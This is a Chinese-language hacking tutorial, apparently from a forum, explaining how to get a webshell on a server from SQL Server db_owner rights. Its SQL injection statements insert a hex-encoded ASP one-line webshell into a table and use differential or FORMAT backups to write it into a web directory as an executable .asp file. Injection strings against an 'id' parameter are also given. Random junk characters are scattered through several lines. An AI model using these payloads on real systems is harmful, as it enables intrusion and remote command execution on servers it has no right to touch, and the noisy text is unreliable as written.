DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少

8 ]! z: n* m5 j一利用差异备份
加一个参数WITH DIFFERENTIAL
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3 H- x' N9 Q* }/ G8 k$ G  w* edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
! n, b" z+ [! U. q6 Yinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

' e) o9 h5 X' |$ E' s6 `9 l二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

- J& d/ ?$ G0 vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
. a3 h; O6 c4 h4 V/ i- w! R8 o- Ideclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

# `# k( I0 m" M2 u# T总的来说就是那么简单几句,下面以备份数据库model为例子
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% ^0 x+ }6 b2 w: c+ q5 fid=1;use model create table cmd(str image);insert into cmd(str) values (”)

- G/ v' R8 i: n6 r6 Kid=1;backup database model to disk=’你的路径‘ with differential,format;–
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